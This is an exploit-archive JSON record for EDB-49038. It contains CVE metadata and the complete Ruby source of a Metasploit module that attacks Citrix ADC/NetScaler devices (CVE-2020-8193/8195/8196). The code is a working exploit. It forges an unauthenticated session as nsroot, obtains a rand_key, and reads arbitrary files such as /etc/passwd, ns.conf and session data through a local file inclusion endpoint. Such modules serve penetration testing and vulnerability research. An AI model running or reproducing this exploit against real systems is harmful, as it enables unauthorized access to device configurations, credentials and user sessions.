{"exploit":{"id":"EDB-49038","name":"Citrix ADC NetScaler - Local File Inclusion (LFI) (Metasploit)","description":"Citrix ADC NetScaler - Local File Inclusion (LFI) (Metasploit)","cves":["CVE-2020-8193","CVE-2020-8195","CVE-2020-8196"],"author":"RAMELLA Sebastien","published":"2020-11-13","platform":"hardware","type":"webapps","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49038","path":"exploits/hardware/webapps/49038.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49038.rb","vulnerabilities":[{"id":"CVE-2020-8193","state":"PUBLISHED","title":null,"titleSource":null,"description":"Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows unauthenticated access to certain URL endpoints.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-8193","cvss":{"version":"3.1","baseScore":6.5,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2020-8193"},"updatedAt":"2025-10-21T23:35:40.928Z","retrievedAt":"2026-11-26T03:41:58.311Z","stale":false,"error":null},{"id":"CVE-2020-8195","state":"PUBLISHED","title":null,"titleSource":null,"description":"Improper input validation in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 resulting in limited information disclosure to low privileged users.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-8195","cvss":{"version":"3.1","baseScore":6.5,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2020-8195"},"updatedAt":"2025-10-21T23:35:40.642Z","retrievedAt":"2026-11-26T03:41:58.345Z","stale":false,"error":null},{"id":"CVE-2020-8196","state":"PUBLISHED","title":null,"titleSource":null,"description":"Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 resulting in limited information disclosure to low privileged users.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-8196","cvss":{"version":"3.1","baseScore":4.3,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2020-8196"},"updatedAt":"2025-10-21T23:35:40.361Z","retrievedAt":"2026-11-26T03:41:58.340Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49038.png?v=2","url":"https://exploitbin.com/exploits/EDB-49038","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49038/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49038/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Auxiliary::Scanner\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Citrix ADC NetScaler - Local File Inclusion (Metasploit)',\n      'Description'    => %{\n        The remote device is affected by multiple vulnerabilities.\n\n        An authorization bypass vulnerability exists in Citrix ADC and NetScaler Gateway devices.\n        An unauthenticated remote attacker with access to the `NSIP/management interface` can exploit\n        this to bypass authorization (CVE-2020-8193).\n\n        And Information disclosure (CVE-2020-8195 and CVE-2020-8196) - but at this time unclear which.\n      },\n      'Author'         => [\n        'Donny Maasland', # Discovery\n        'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)\n      ],\n      'References'     => [\n        ['CVE', '2020-8193'],\n        ['CVE', '2020-8195'],\n        ['CVE', '2020-8196'],\n        ['URL', 'https://dmaasland.github.io/posts/citrix.html'],\n        ['URL', 'https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/amp/'],\n        ['URL', 'https://github.com/jas502n/CVE-2020-8193']\n      ],\n      'DisclosureDate' => '2020-07-09',\n      'License'        => MSF_LICENSE,\n      'DefaultOptions' => {\n        'RPORT' => 443,\n        'SSL' => true\n      }\n    ))\n\n    register_options([\n      OptEnum.new('MODE', [true, 'Start type.', 'discovery', [ 'discovery', 'interactive', 'sessions']]),\n      OptString.new('PATH', [false, 'File or directory you want to read', '/nsconfig/ns.conf']),\n      OptString.new('TARGETURI', [true, 'Base path', '/'])\n    ])\n  end\n\n  def create_session\n    params = 'type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1'\n\n    request = {\n      'method' => 'POST',\n      'uri' => \"#{normalize_uri(target_uri.path, 'pcidss', 'report')}?#{params}\",\n      'ctype' => 'application/xml',\n      'headers' => {\n        'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),\n        'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8)\n      },\n      'data' => '<appfwprofile><login></login></appfwprofile>'\n    }\n    request = request.merge({'cookie' => @cookie}) if @cookie\n\n    response = send_request_raw(request)\n    unless response && response.code == 406\n      print_error(\"#{@message_prefix} - No response to session request.\")\n      return\n    end\n\n    response.get_cookies\n  end\n\n  def fix_session_rand\n    response = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'menu', 'ss'),\n      'cookie' => @cookie,\n      'vars_get' => {\n        'sid' => 'nsroot',\n        'username' => 'nsroot',\n        'force_setup' => '1'\n      }\n    )\n\n    if response && response.code == 302\n      location = response.headers['location']\n\n      response = send_request_cgi(\n        'method' => 'GET',\n        'uri' => location,\n        'cookie' => @cookie\n      )\n\n      return unless response && response.code == 200\n    end\n\n    response.to_s.scan(/rand = \"([^\"]+)\"/).join\n  end\n\n  def read_lfi(path, var_rand)\n    params = \"filter=path:#{path}\"\n\n    request = {\n      'method' => 'POST',\n      'uri' => \"#{normalize_uri(target_uri.path, 'rapi', 'filedownload')}?#{params}\",\n      'cookie' => @cookie,\n      'ctype' => 'application/xml',\n      'headers' => {\n        'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),\n        'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8),\n        'rand_key' => var_rand\n      },\n      'data' => '<clipermission></clipermission>'\n    }\n\n    response = send_request_raw(request)\n  end\n\n  def run_host(ip)\n    proto = (datastore['SSL'] ? 'https' : 'http')\n    @message_prefix = \"#{proto}://#{ip}:#{datastore['RPORT']}\"\n\n    @cookie = create_session\n    if @cookie && @cookie =~ /SESSID/\n      print_status(\"#{@message_prefix} - Got session: #{@cookie.split(' ')[0]}\")\n\n      var_rand = fix_session_rand\n      unless var_rand\n        print_error(\"#{@message_prefix} - Unable to get rand value.\")\n        return Exploit::CheckCode::Unknown\n      end\n      print_status(\"#{@message_prefix} - Got rand: #{var_rand}\")\n\n      print_status(\"#{@message_prefix} - Re-breaking session...\")\n      create_session\n\n      case datastore['MODE']\n      when /discovery/\n        response = read_lfi('/etc/passwd'.gsub('/', '%2F'), var_rand)\n        if response.code == 406\n          if response.body.include? ('root:*:0:0:')\n            print_warning(\"#{@message_prefix} - Vulnerable.\")\n\n            return Exploit::CheckCode::Vulnerable\n          end\n        end\n      when /interactive/\n        # TODO: parse response\n        response = read_lfi(datastore['PATH'].gsub('/', '%2F'), var_rand)\n        if response.code == 406\n          print_line(\"#{response.body}\")\n        end\n\n        return\n      when /sessions/\n        # TODO: parse response\n        response = read_lfi('/var/nstmp'.gsub('/', '%2F'), var_rand)\n        if response.code == 406\n          print_line(\"#{response.body}\")\n        end\n\n        return\n      end\n    end\n    print_good(\"#{@message_prefix} - Not Vulnerable.\")\n\n    return Exploit::CheckCode::Safe\n  end\n\nend","sha256":"d68590de37795f8e3b62ed31ad92bcfaa06c71de8389e84fb3dcdf6ecf986abd","bytes":5358,"fetchedAt":"2026-11-26T23:07:13.281Z","encoding":"utf-8 (display only; download retains original bytes)"}